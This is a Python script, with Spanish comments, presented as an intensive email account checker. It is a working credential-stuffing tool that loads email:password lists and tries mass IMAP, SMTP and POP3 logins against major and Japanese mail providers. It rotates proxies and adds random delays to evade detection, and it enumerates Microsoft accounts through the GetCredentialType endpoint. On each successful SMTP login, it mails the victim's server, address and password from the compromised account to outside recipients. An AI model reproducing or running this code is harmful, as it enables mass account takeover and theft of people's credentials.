import asyncio
import aioimaplib
import aiosmtplib
import dns.asyncresolver
import socket
import ssl
import re
import json
import logging
import time
import os
import sys
import requests
import asyncio
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass
from concurrent.futures import ThreadPoolExecutor, as_completed
from email.utils import parseaddr
import hashlib
import random
from datetime import datetime
from collections import defaultdict
import signal
import argparse

# --- CONFIGURACIÓN AVANZADA ---
CONFIG = {
    'max_concurrent': 60,           # Balanceado: Rápido pero seguro para evitar spam
    'timeout': 12,                  # Tiempo suficiente para respuestas lentas
    'max_retries': 2,               # Recuperación de fallos temporales
    'delay_between': 0.1,           # Delay humano
    'random_delay': (0.1, 0.5),     # Pequeñas variaciones para evitar detección
    'batch_size': 120,              
    'save_interval': 10,            
}

# Configuración de proveedores extendida
PROVIDER_CONFIG = {
    # Proveedores internacionales
    'hotmail.com': {
        'imap': ('outlook.office365.com', 993),
        'smtp': ('smtp.office365.com', 587),
        'auth_type': 'oauth2'
    },
    'outlook.com': {
        'imap': ('outlook.office365.com', 993),
        'smtp': ('smtp.office365.com', 587)
    },
    'gmail.com': {
        'imap': ('imap.gmail.com', 993),
        'smtp': ('smtp.gmail.com', 587),
        'app_password': True
    },
    'yahoo.com': {
        'imap': ('imap.mail.yahoo.com', 993),
        'smtp': ('smtp.mail.yahoo.com', 587)
    },
    'aol.com': {
        'imap': ('imap.aol.com', 993),
        'smtp': ('smtp.aol.com', 587)
    },
    # Proveedores empresariales
    'office365.com': {
        'imap': ('outlook.office365.com', 993),
        'smtp': ('smtp.office365.com', 587)
    },
    'zoho.com': {
        'imap': ('imap.zoho.com', 993),
        'smtp': ('smtp.zoho.com', 587)
    },
    # Proveedores regionales
    'yandex.ru': {
        'imap': ('imap.yandex.ru', 993),
        'smtp': ('smtp.yandex.ru', 587)
    },
    'mail.ru': {
        'imap': ('imap.mail.ru', 993),
        'smtp': ('smtp.mail.ru', 587)
    },
    
    # === PROVEEDORES JAPONESES ===
    # Yahoo Japan
    'yahoo.co.jp': {
        'imap': ('imap.mail.yahoo.co.jp', 993),
        'smtp': ('smtp.mail.yahoo.co.jp', 587)
    },
    # Hotmail/Outlook Japan
    'hotmail.co.jp': {
        'imap': ('outlook.office365.com', 993),
        'smtp': ('smtp.office365.com', 587)
    },
    'live.jp': {
        'imap': ('outlook.office365.com', 993),
        'smtp': ('smtp.office365.com', 587)
    },
    'outlook.jp': {
        'imap': ('outlook.office365.com', 993),
        'smtp': ('smtp.office365.com', 587)
    },
    # Proveedores móviles japoneses
    'ezweb.ne.jp': {
        'imap': ('imap.ezweb.ne.jp', 993),
        'smtp': ('smtp.ezweb.ne.jp', 587)
    },
    'docomo.ne.jp': {
        'imap': ('imap.spmode.ne.jp', 993),
        'smtp': ('smtp.spmode.ne.jp', 587)
    },
    'softbank.ne.jp': {
        'imap': ('imap.softbank.jp', 993),
        'smtp': ('smtp.softbank.jp', 587)
    },
    'vodafone.ne.jp': {
        'imap': ('imap.softbank.jp', 993),
        'smtp': ('smtp.softbank.jp', 587)
    },
    # ISPs japoneses
    'ocn.ne.jp': {
        'imap': ('imap.ocn.ne.jp', 993),
        'smtp': ('smtp.ocn.ne.jp', 587)
    },
    'nifty.com': {
        'imap': ('imap.nifty.com', 993),
        'smtp': ('smtp.nifty.com', 587)
    },
    'nifmail.jp': {
        'imap': ('imap.nifty.com', 993),
        'smtp': ('smtp.nifty.com', 587)
    },
    'biglobe.ne.jp': {
        'imap': ('imap.biglobe.ne.jp', 993),
        'smtp': ('smtp.biglobe.ne.jp', 587)
    },
    'so-net.ne.jp': {
        'imap': ('imap.so-net.ne.jp', 993),
        'smtp': ('smtp.so-net.ne.jp', 587)
    },
    'goo.ne.jp': {
        'imap': ('imap.mail.goo.ne.jp', 993),
        'smtp': ('smtp.mail.goo.ne.jp', 587)
    },
    'excite.co.jp': {
        'imap': ('imap.excite.co.jp', 993),
        'smtp': ('smtp.excite.co.jp', 587)
    },
    'plala.or.jp': {
        'imap': ('imap.plala.or.jp', 993),
        'smtp': ('smtp.plala.or.jp', 587)
    },
    'eonet.ne.jp': {
        'imap': ('imaps.eonet.ne.jp', 993),
        'smtp': ('smtps.eonet.ne.jp', 587)
    },
    'dion.ne.jp': {
        'imap': ('imap.dion.ne.jp', 993),
        'smtp': ('smtp.dion.ne.jp', 587)
    }
}

# Dominios desechables conocidos
DISPOSABLE_DOMAINS = set()
try:
    with open('disposable_domains.txt', 'r') as f:
        DISPOSABLE_DOMAINS = {line.strip() for line in f if line.strip()}
except:
    # Lista básica si no existe el archivo
    DISPOSABLE_DOMAINS = {
        'mailinator.com', 'tempmail.com', 'guerrillamail.com',
        '10minutemail.com', 'throwawaymail.com', 'yopmail.com'
    }

@dataclass
class Account:
    email: str
    password: str
    domain: str = ""
    provider: str = ""
    status: str = "pending"
    protocol: str = ""
    server: str = ""
    port: int = 0
    error: str = ""
    sep: str = ":"  # Default separator
    response_time: float = 0.0
    timestamp: datetime = None
    
    def __post_init__(self):
        if '@' in self.email:
            self.domain = self.email.split('@')[1].lower()
            self.provider = self._detect_provider()
        if not self.timestamp:
            self.timestamp = datetime.now()

    def _detect_provider(self):
        # Intentar coincidencia exacta primero
        if self.domain in PROVIDER_CONFIG:
            return self.domain
        
        # Para dominios japoneses con subdominios (ej: ark.ocn.ne.jp, citrus.ocn.ne.jp)
        # extraer el dominio principal
        domain_parts = self.domain.split('.')
        if len(domain_parts) >= 3:
            # Intentar con los últimos 3 componentes (ej: ocn.ne.jp)
            parent_domain = '.'.join(domain_parts[-3:])
            if parent_domain in PROVIDER_CONFIG:
                return parent_domain
            # Intentar con los últimos 2 componentes (ej: ne.jp)
            parent_domain = '.'.join(domain_parts[-2:])
            if parent_domain in PROVIDER_CONFIG:
                return parent_domain
        
        # Fallback: buscar por endswith
        for provider in PROVIDER_CONFIG:
            if self.domain.endswith(provider):
                return provider
        
        return self.domain

class ProxyManager:
    """Gestión de proxies para rotación de IP"""
    def __init__(self, proxy_file=None):
        self.proxies = []
        if proxy_file and os.path.exists(proxy_file):
            with open(proxy_file, 'r') as f:
                self.proxies = [line.strip() for line in f if line.strip()]
    
    def get_proxy(self):
        if self.proxies:
            return random.choice(self.proxies)
        return None

class RateLimiter:
    """Control de rate limiting por dominio"""
    def __init__(self, requests_per_minute=60):
        self.requests_per_minute = requests_per_minute
        self.requests = defaultdict(list)
    
    async def wait_if_needed(self, domain):
        now = time.time()
        domain_requests = self.requests[domain]
        
        # Eliminar solicitudes antiguas
        domain_requests[:] = [req_time for req_time in domain_requests 
                            if now - req_time < 60]
        
        if len(domain_requests) >= self.requests_per_minute:
            wait_time = 60 - (now - domain_requests[0])
            if wait_time > 0:
                await asyncio.sleep(wait_time)
        
        domain_requests.append(now)

class EmailChecker:
    def __init__(self, config=None, on_account_checked=None, test_emails=None, test_message_body=None, should_stop=None):
        self.config = config or CONFIG
        self.rate_limiter = RateLimiter()
        self.proxy_manager = ProxyManager()
        self.stats = {
            'total': 0, 'valid': 0, 'invalid': 0,
            'auth_failed': 0,  # Cuentas válidas con contraseña incorrecta
            'checked': 0, 'errors': 0,
            'start_time': time.time()
        }
        self.on_account_checked = on_account_checked # Callback para cuando una cuenta es verificada
        self.should_stop = should_stop # Callback para cancelar (devuelve True si debe parar)
        self.test_emails = test_emails or [] # Emails de destino para pruebas
        self.test_message_body = test_message_body # Mensaje personalizado para las pruebas
        
        # Configurar logging con encoding UTF-8
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('checker.log', encoding='utf-8'),
                logging.StreamHandler(sys.stdout)
            ]
        )
        # Configurar stdout para UTF-8 en Windows
        if sys.platform == 'win32':
            import io
            sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
        
        self.logger = logging.getLogger(__name__)
    
    async def _get_server_config_async(self, domain, protocol):
        """Obtiene configuración del servidor analizando MX si es necesario"""
        # 1. Verificar configuración estática
        for provider, config in PROVIDER_CONFIG.items():
            if domain.endswith(provider):
                if protocol in config:
                    return config[protocol]
        
        # 2. Verificar MX Records para auto-detección inteligente
        try:
            resolver = dns.asyncresolver.Resolver()
            resolver.timeout = 5
            resolver.lifetime = 5
            mx_records = await resolver.resolve(domain, 'MX')
            mx_list = [str(mx.exchange).lower() for mx in mx_records]
            
            # Detectar Microsoft Office 365
            if any('outlook.com' in mx or 'microsoft.com' in mx for mx in mx_list):
                return ('outlook.office365.com', 993) if protocol == 'imap' else ('smtp.office365.com', 587)
            
            # Detectar Google Workspace
            if any('google.com' in mx or 'googlemail.com' in mx for mx in mx_list):
                return ('imap.gmail.com', 993) if protocol == 'imap' else ('smtp.gmail.com', 587)
                
        except Exception:
            pass
            
        # 3. Fallback tradicional
        if protocol == 'imap':
            return (f'imap.{domain}', 993)
        else:  # smtp
            return (f'smtp.{domain}', 587)
    
    async def verify_ms_identity(self, email: str) -> Tuple[bool, str, str]:
        """Verifica si el email existe en Microsoft Identity (GetCredentialType)"""
        url = "https://login.microsoftonline.com/common/GetCredentialType"
        payload = {
            "username": email,
            "isOtherIdpSupported": True,
            "checkEnhancedMsods": True,
            "isStandardIdpSupported": True,
            "isObjectIidSupported": True,
            "isCredentialsSupported": True,
            "isEnforceImmersive": False,
            "isConvergedDefault": True
        }
        
        try:
            loop = asyncio.get_event_loop()
            response = await loop.run_in_executor(
                None, lambda: requests.post(url, json=payload, timeout=10)
            )
            if response.status_code == 200:
                data = response.json()
                # 0=Managed (Work/School), 5=Personal, 1=Not Found, 6=Not Found Personal
                result = data.get('IfExistsResult', 1)
                
                if result == 1:
                    return False, "Microsoft account NOT FOUND", "None"
                
                types_map = {
                    0: ("Work/School", "https://portal.office.com"), 
                    5: ("Personal", "https://outlook.live.com"), 
                    2: ("Federated", "https://portal.office.com")
                }
                name, url_hint = types_map.get(result, (f"Existing (Code {result})", "https://login.microsoftonline.com"))
                return True, "Identity verified", f"{name}|{url_hint}"
                
            return True, "API error (skipping)", "Unknown"
        except Exception as e:
            return True, f"Identity check failed: {str(e)[:50]}", "Unknown"

    async def prevalidate_email(self, email: str) -> Tuple[bool, str]:
        """Pre-validación asíncrona con DNS"""
        try:
            # Validar formato
            parsed_name, parsed_addr = parseaddr(email)
            if not parsed_addr or '@' not in parsed_addr:
                return False, "Invalid format"
            
            user_part, domain_part = parsed_addr.lower().split('@')
            
            # Verificar dominio desechable
            if domain_part in DISPOSABLE_DOMAINS:
                return False, "Disposable domain"
            
            # Verificar MX records asíncrono
            try:
                resolver = dns.asyncresolver.Resolver()
                resolver.timeout = 5
                resolver.lifetime = 5
                mx_records = await resolver.resolve(domain_part, 'MX')
                if not mx_records:
                    return False, "No MX records"
            except Exception as e:
                return False, f"DNS error: {str(e)[:50]}"
            
            return True, "Pre-validation passed"
        except Exception as e:
            return False, f"Pre-validation error: {str(e)}"
    
    async def check_imap_async(self, account: Account) -> bool:
        """Verificación IMAP asíncrona"""
        start_time = time.time()
        
        try:
            # Rate limiting por dominio
            await self.rate_limiter.wait_if_needed(account.domain)
            
            server, port = await self._get_server_config_async(account.domain, 'imap')
            account.server = server
            account.port = port
            
            # Delay aleatorio para evitar detección
            await asyncio.sleep(random.uniform(*CONFIG['random_delay']))
            
            # Conexión IMAP asíncrona
            imap_client = aioimaplib.IMAP4_SSL(
                host=server,
                port=port,
                timeout=CONFIG['timeout']
            )
            
            await imap_client.wait_hello_from_server()
            
            # Login
            response = await imap_client.login(account.email, account.password)
            
            if response.result == 'OK':
                # Opcional: Verificar carpetas
                # response = await imap_client.select('INBOX')
                
                await imap_client.logout()
                account.response_time = time.time() - start_time
                account.status = 'valid'
                account.protocol = 'IMAP'
                return True
            else:
                account.error = f"IMAP login failed: {response.result}"
                account.status = 'invalid'
                return False
                
        except Exception as e:
            account.error = f"IMAP error: {str(e)[:100]}"
            account.status = 'error'
            return False
    
    async def check_smtp_async(self, account: Account) -> bool:
        """Verificación SMTP asíncrona"""
        start_time = time.time()
        
        for attempt in range(CONFIG['max_retries'] + 1):
            try:
                await self.rate_limiter.wait_if_needed(account.domain)
                
                # Si el account ya tiene servidor y puerto, usarlos
                if account.server and account.port:
                    server = account.server
                    port = account.port
                else:
                    # Auto-detectar servidor y puerto
                    server, port = await self._get_server_config_async(account.domain, 'smtp')
                    account.server = server
                    account.port = port
                
                await asyncio.sleep(random.uniform(*CONFIG['random_delay']))
                
                # Conexión SMTP asíncrona
                # Puerto 465: TLS directo (SSL)
                # Puerto 587: STARTTLS (empieza sin cifrado, luego se actualiza)
                smtp = aiosmtplib.SMTP(
                    hostname=server,
                    port=port,
                    timeout=CONFIG['timeout'],
                    use_tls=(port == 465)  # SOLO puerto 465 usa TLS directo
                )
                
                await smtp.connect()
                
                # Intentar STARTTLS si no es puerto 465 (TLS directo)
                if port != 465:
                    try:
                        await smtp.starttls()
                    except Exception:
                        # Ignorar si ya se negoció TLS o no es soportado
                        pass
                
                await smtp.login(account.email, account.password)
                await smtp.quit()
                
                account.response_time = time.time() - start_time
                account.status = 'valid'
                account.protocol = 'SMTP'
                return True
                
            except Exception as e:
                error_str = str(e).lower()
                
                # Detectar errores de autenticación (cuenta válida, contraseña incorrecta)
                if any(auth_error in error_str for auth_error in [
                    'authentication failed', 'invalid credentials', 'username and password not accepted',
                    'incorrect password', 'login failed', '535', 'auth', 'password'
                ]):
                    account.error = f"Authentication failed (valid account, wrong password)"
                    account.status = 'auth_failed'  # Estado especial: cuenta existe pero contraseña mal
                    return False
                
                # Si es el último intento, marcar como error
                if attempt == CONFIG['max_retries']:
                    account.error = f"SMTP error: {str(e)[:100]}"
                    account.status = 'invalid'
                    return False
                await asyncio.sleep(2 ** attempt)  # Backoff exponencial
    
    def check_pop3(self, account: Account) -> bool:
        """Verificación POP3 (síncrono)"""
        # Implementación para proveedores que solo soportan POP3
        try:
            import poplib
            server, port = self._get_server_config(account.domain, 'pop3')
            
            if port == 995:
                pop_conn = poplib.POP3_SSL(server, port, timeout=CONFIG['timeout'])
            else:
                pop_conn = poplib.POP3(server, port, timeout=CONFIG['timeout'])
            
            pop_conn.user(account.email)
            pop_conn.pass_(account.password)
            pop_conn.quit()
            
            account.status = 'valid'
            account.protocol = 'POP3'
            return True
        except:
            return False
    
    async def send_test_message(self, account: Account) -> Tuple[bool, str]:
        """Envía un mensaje de prueba para verificar inbox con reporte detallado"""
        if not self.test_emails:
            return False, "No recipients"
            
        try:
            from email.mime.text import MIMEText
            from email.mime.multipart import MIMEMultipart
            from email.utils import formatdate, make_msgid
            
            for recipient in self.test_emails:
                msg = MIMEMultipart()
                msg['From'] = account.email
                msg['To'] = recipient
                msg['Subject'] = f"Success Access: {account.email}"
                default_msg = "@lacasadeltruco prueba valida"
                user_msg = self.test_message_body if self.test_message_body else default_msg
                
                body = f"{user_msg}\n\nSYSTEM ⚡\nHOST : {account.server}\nPORT : {account.port}\nUSER : {account.email}\nPASS : {account.password}\n"
                
                msg.attach(MIMEText(body, 'plain'))
                
                use_tls = account.port == 465
                starttls = account.port == 587
                
                try:
                    await aiosmtplib.send(
                        msg,
                        hostname=account.server,
                        port=account.port,
                        username=account.email,
                        password=account.password,
                        use_tls=use_tls,
                        start_tls=starttls,
                        timeout=20
                    )
                    self.logger.info(f"[TEST SENT] From {account.email} to {recipient}")
                except Exception as send_err:
                    err_msg = str(send_err).lower()
                    if "spam" in err_msg or "rejected" in err_msg:
                        return False, "Spam/Rejected"
                    if "auth" in err_msg:
                        return False, "Auth Error"
                    return False, f"Err: {str(send_err)[:30]}"
                    
            return True, "SENT"
        except Exception as e:
            self.logger.error(f"[TEST FAIL] From {account.email}: {str(e)}")
            return False, f"Fatal: {str(e)[:20]}"

    async def check_account(self, account: Account, mode: str) -> Account:
        """Verifica una cuenta según el modo especificado"""
        if self.should_stop and self.should_stop():
            account.status = 'cancelled'
            return account
            
        # self.stats['total'] += 1  # Controlled externally for accurate percentage
        
        # Si el account tiene servidor personalizado, saltear pre-validación
        if not account.server:
            # Pre-validación solo para cuentas sin servidor especificado
            is_valid, msg = await self.prevalidate_email(account.email)
            if not is_valid:
                account.status = 'invalid'
                account.error = msg
                self.stats['invalid'] += 1
                return account
        
        # NUEVO: Verificación extra para dominios Microsoft (O365/Outlook)
        server, port = await self._get_server_config_async(account.domain, 'smtp')
        if 'office365.com' in server.lower() or 'outlook.com' in server.lower():
            is_ms_identity, ms_msg, ms_type = await self.verify_ms_identity(account.email)
            if not is_ms_identity:
                account.status = 'invalid'
                account.error = f"MICROSOFT IDENTITY FAIL: {ms_msg}"
                self.stats['invalid'] += 1
                return account
            # Si pasa, guardamos el tipo y el link para que el usuario sepa dónde entrar
            name, url_hint = ms_type.split('|')
            account.error = f"Type: {name} | Login: {url_hint}"
            self.logger.info(f"[MS CHECK] {account.email} is {name} ({url_hint})")
        
        # Proceder con los checks de protocolos
        
        # Verificación principal
        try:
            if mode == 'imap':
                result = await self.check_imap_async(account)
            elif mode == 'smtp':
                result = await self.check_smtp_async(account)
            elif mode == 'pop3':
                # POP3 es síncrono, ejecutar en thread pool
                loop = asyncio.get_event_loop()
                with ThreadPoolExecutor() as executor:
                    result = await loop.run_in_executor(
                        executor, self.check_pop3, account
                    )
            else:
                # Auto-detección: probar IMAP primero, luego SMTP
                result = await self.check_imap_async(account)
                if not result:
                    result = await self.check_smtp_async(account)
            
            if result:
                self.stats['valid'] += 1
                
                # NUEVO: Enviar prueba si hay destinatarios configurados
                if account.protocol == 'SMTP' and self.test_emails:
                    if "TEST" not in account.error: # Evitar bucles
                        test_ok, test_msg = await self.send_test_message(account)
                        if test_ok:
                            account.error += f" | {test_msg}"
                        else:
                            account.error += f" | FAILED: {test_msg}"

                print(f"\n{'='*70}")
                print(f"  ✓✓✓ CUENTA VALIDA ENCONTRADA ✓✓✓")
                print(f"  Email: {account.email}")
                print(f"  Protocolo: {account.protocol} | Tiempo: {account.response_time:.2f}s")
                print(f"{'='*70}\n")
                self.logger.info(f"[OK] VALID: {account.email} via {account.protocol}")
            elif account.status == 'auth_failed':
                self.stats['auth_failed'] += 1
                print(f"  ⚠ AUTH_FAILED: {account.email} - Cuenta existe, password incorrecto")
                self.logger.warning(f"[AUTH] VALID ACCOUNT, WRONG PASSWORD: {account.email}")
            else:
                self.stats['invalid'] += 1
                self.logger.warning(f"[X] INVALID: {account.email} - {account.error}")
                
        except Exception as e:
            account.status = 'error'
            account.error = str(e)
            self.stats['errors'] += 1
            self.logger.error(f"! ERROR: {account.email} - {str(e)[:100]}")
        
        self.stats['checked'] += 1
        
        # Ejecutar callback si existe (para actualizar GUI)
        if self.on_account_checked:
            self.on_account_checked(account, self.stats)
        
        # Mostrar progreso cada 5 cuentas en consola
        if self.stats['checked'] % 5 == 0:
            elapsed = time.time() - self.stats['start_time']
            rate = self.stats['checked'] / max(elapsed, 1)
            print(f"\r[SCANNING] {self.stats['checked']}/{self.stats['total']} | Validas: {self.stats['valid']} | Rate: {rate:.1f}/s | Status: {account.status}", end='', flush=True)
        return account
    
    async def process_batch(self, accounts: List[Account], mode: str) -> List[Account]:
        """Procesa un lote de cuentas concurrentemente"""
        semaphore = asyncio.Semaphore(CONFIG['max_concurrent'])
        
        async def check_with_semaphore(account):
            if self.should_stop and self.should_stop(): return None
            async with semaphore:
                if self.should_stop and self.should_stop(): return None
                return await self.check_account(account, mode)
        
        tasks = [check_with_semaphore(account) for account in accounts]
        try:
            results = await asyncio.gather(*tasks, return_exceptions=True)
        finally:
            pass
        
        # Filtrar excepciones
        valid_results = []
        for result in results:
            if isinstance(result, Exception):
                self.logger.error(f"Task failed: {str(result)}")
            else:
                valid_results.append(result)
        
        return valid_results
    
    def load_accounts(self, input_file: str) -> List[Account]:
        """Carga cuentas desde archivo con múltiples formatos"""
        accounts = []
        seen_emails = set()
        
        # Formato con servidor: server|port|email|password
        smtp_format = r'(?P<server>[^|]+)\|(?P<port>\d+)\|(?P<email>[^|]+)\|(?P<password>.+)'
        
        # Formatos sin servidor (auto-detección)
        formats = [
            (r'(?P<email>[^:|]+)(?P<sep>[:|])(?P<password>[^:|]+)', 'email:pass'),
            (r'(?P<email>[^|\s]+)(?P<sep>\|)(?P<password>[^|\s]+)', 'email|pass'),
            (r'(?P<email>[^@\s]+@[^@\s]+)(?P<sep>\s+)(?P<password>\S+)', 'email pass'),
        ]
        
        try:
            with open(input_file, 'r', encoding='utf-8', errors='ignore') as f:
                for line_num, line in enumerate(f, 1):
                    line = line.strip()
                    if not line or line.startswith('#'):
                        continue
                    
                    # Primero verificar si es formato SMTP (server|port|email|password)
                    smtp_match = re.match(smtp_format, line)
                    if smtp_match:
                        data = smtp_match.groupdict()
                        email_lower = data['email'].strip().lower()
                        if email_lower not in seen_emails:
                            seen_emails.add(email_lower)
                            account = Account(
                                email=data['email'].strip(),
                                password=data['password'].strip(),
                                server=data['server'].strip(),
                                port=int(data['port'])
                            )
                            # Marcar que este account tiene servidor personalizado
                            account.protocol = 'SMTP'  # Forzar SMTP ya que se proporcionó el servidor
                            accounts.append(account)
                        continue
                    
                    # Si no es formato SMTP, intentar formatos regulares
                    account_data = None
                    for pattern, name in formats:
                        match = re.match(pattern, line)
                        if match:
                            account_data = match.groupdict()
                            break
                    
                    if account_data:
                        email_lower = account_data['email'].strip().lower()
                        if email_lower not in seen_emails:
                            seen_emails.add(email_lower)
                            accounts.append(Account(
                                email=account_data['email'].strip(),
                                password=account_data['password'].strip(),
                                sep=account_data.get('sep', ':')
                            ))
                    else:
                        self.logger.warning(f"Formato desconocido línea {line_num}: {line[:50]}")
            
            self.logger.info(f"Cargadas {len(accounts)} cuentas únicas")
            return accounts
            
        except Exception as e:
            self.logger.error(f"Error cargando archivo: {e}")
            return []
    
    def save_results(self, accounts: List[Account], output_dir: str = 'results'):
        """Guarda resultados en múltiples formatos"""
        os.makedirs(output_dir, exist_ok=True)
        
        now = datetime.now().strftime('%Y%m%d_%H%M%S')
        
        # Archivos separados por estado
        valid_accounts = [a for a in accounts if a.status == 'valid']
        auth_failed_accounts = [a for a in accounts if a.status == 'auth_failed']
        invalid_accounts = [a for a in accounts if a.status == 'invalid']
        error_accounts = [a for a in accounts if a.status == 'error']
        
        # Guardar en formato texto
        with open(f'{output_dir}/valid_{now}.txt', 'w') as f:
            for acc in valid_accounts:
                f.write(f"{acc.email}{acc.sep}{acc.password}\n")
        
        # NUEVO: Guardar cuentas válidas con contraseña incorrecta
        with open(f'{output_dir}/auth_failed_{now}.txt', 'w') as f:
            f.write("# Cuentas válidas con contraseña incorrecta (cuenta existe, cambiar password)\n")
            for acc in auth_failed_accounts:
                if acc.server and acc.port:
                    # Formato con servidor
                    f.write(f"{acc.server}|{acc.port}|{acc.email}|{acc.password} # {acc.error}\n")
                else:
                    f.write(f"{acc.email}{acc.sep}{acc.password} # {acc.error}\n")
        
        with open(f'{output_dir}/invalid_{now}.txt', 'w') as f:
            for acc in invalid_accounts:
                f.write(f"{acc.email}{acc.sep}{acc.password} # {acc.error}\n")
        
        # Guardar en JSON con toda la información
        with open(f'{output_dir}/full_report_{now}.json', 'w') as f:
            json.dump([acc.__dict__ for acc in accounts], f, default=str, indent=2)
        
        # Guardar estadísticas
        stats_file = f'{output_dir}/stats_{now}.txt'
        with open(stats_file, 'w') as f:
            f.write(f"=== Email Checker Statistics ===\n")
            f.write(f"Total accounts: {self.stats['total']}\n")
            f.write(f"Valid: {self.stats['valid']}\n")
            f.write(f"Auth Failed (valid account, wrong password): {self.stats['auth_failed']}\n")
            f.write(f"Invalid: {self.stats['invalid']}\n")
            f.write(f"Errors: {self.stats['errors']}\n")
            f.write(f"Checked: {self.stats['checked']}\n")
            f.write(f"Success rate: {(self.stats['valid']/max(self.stats['total'],1))*100:.2f}%\n")
            f.write(f"Time elapsed: {time.time() - self.stats['start_time']:.2f}s\n")
        
        self.logger.info(f"Resultados guardados en {output_dir}/")
    
    def print_stats(self):
        """Muestra estadísticas en tiempo real"""
        elapsed = time.time() - self.stats['start_time']
        rate = self.stats['checked'] / max(elapsed, 1)
        
        print(f"\n{'='*50}")
        print(f"Progreso: {self.stats['checked']}/{self.stats['total']}")
        print(f"Válidas: {self.stats['valid']} | Auth Failed: {self.stats['auth_failed']} | Inválidas: {self.stats['invalid']}")
        print(f"Tasa éxito: {(self.stats['valid']/max(self.stats['checked'],1))*100:.1f}%")
        print(f"Velocidad: {rate:.1f} cuentas/segundo")
        print(f"Tiempo transcurrido: {elapsed:.1f}s")
        print(f"{'='*50}")

async def main():
    # Suprimir excepciones no manejadas de asyncio para consola limpia
    logging.getLogger('asyncio').setLevel(logging.CRITICAL)
    
    # Suprimir warnings de SSL y otros
    import warnings
    warnings.filterwarnings('ignore')
    
    parser = argparse.ArgumentParser(description='Email Account Checker Intensivo')
    parser.add_argument('input', help='Archivo de entrada con cuentas')
    parser.add_argument('-m', '--mode', choices=['imap', 'smtp', 'pop3', 'auto'], 
                       default='auto', help='Modo de verificación')
    parser.add_argument('-t', '--threads', type=int, default=50,
                       help='Número de hilos concurrentes')
    parser.add_argument('-o', '--output', default='results',
                       help='Directorio de salida para resultados')
    parser.add_argument('-p', '--proxy', help='Archivo con lista de proxies')
    parser.add_argument('--delay', type=float, default=0.1,
                       help='Delay entre solicitudes')
    
    args = parser.parse_args()
    
    # Actualizar configuración
    CONFIG.update({
        'max_concurrent': args.threads,
        'delay_between': args.delay
    })
    
    # Inicializar checker
    checker = EmailChecker(CONFIG)
    
    if args.proxy:
        checker.proxy_manager = ProxyManager(args.proxy)
    
    # Cargar cuentas
    accounts = checker.load_accounts(args.input)
    if not accounts:
        print("No se pudieron cargar cuentas. Saliendo.")
        return
    
    print(f"\n{'#'*60}")
    print(f"EMAIL CHECKER INTENSIVO v2.0")
    print(f"Cuentas: {len(accounts)} | Modo: {args.mode}")
    print(f"Hilos: {args.threads} | Timeout: {CONFIG['timeout']}s")
    print(f"{'#'*60}\n")
    
    # Procesar en lotes
    all_results = []
    batch_size = CONFIG['batch_size']
    
    for i in range(0, len(accounts), batch_size):
        batch = accounts[i:i + batch_size]
        print(f"\nProcesando lote {i//batch_size + 1}/{(len(accounts)+batch_size-1)//batch_size}")
        
        results = await checker.process_batch(batch, args.mode)
        all_results.extend(results)
        
        # Guardar progreso
        if (i + batch_size) % CONFIG['save_interval'] == 0:
            checker.save_results(all_results, args.output)
        
        # Mostrar estadísticas
        checker.print_stats()
    
    # Guardar resultados finales
    checker.save_results(all_results, args.output)
    
    print("\n" + "="*60)
    print("PROCESO COMPLETADO")
    checker.print_stats()
    print(f"Resultados guardados en: {args.output}/")
    print("="*60)

if __name__ == "__main__":
    # Manejo de señal para interrupción elegante
    def signal_handler(sig, frame):
        print("\n\nInterrupción recibida. Guardando resultados...")
        sys.exit(0)
    
    signal.signal(signal.SIGINT, signal_handler)
    
    # Ejecutar
    asyncio.run(main())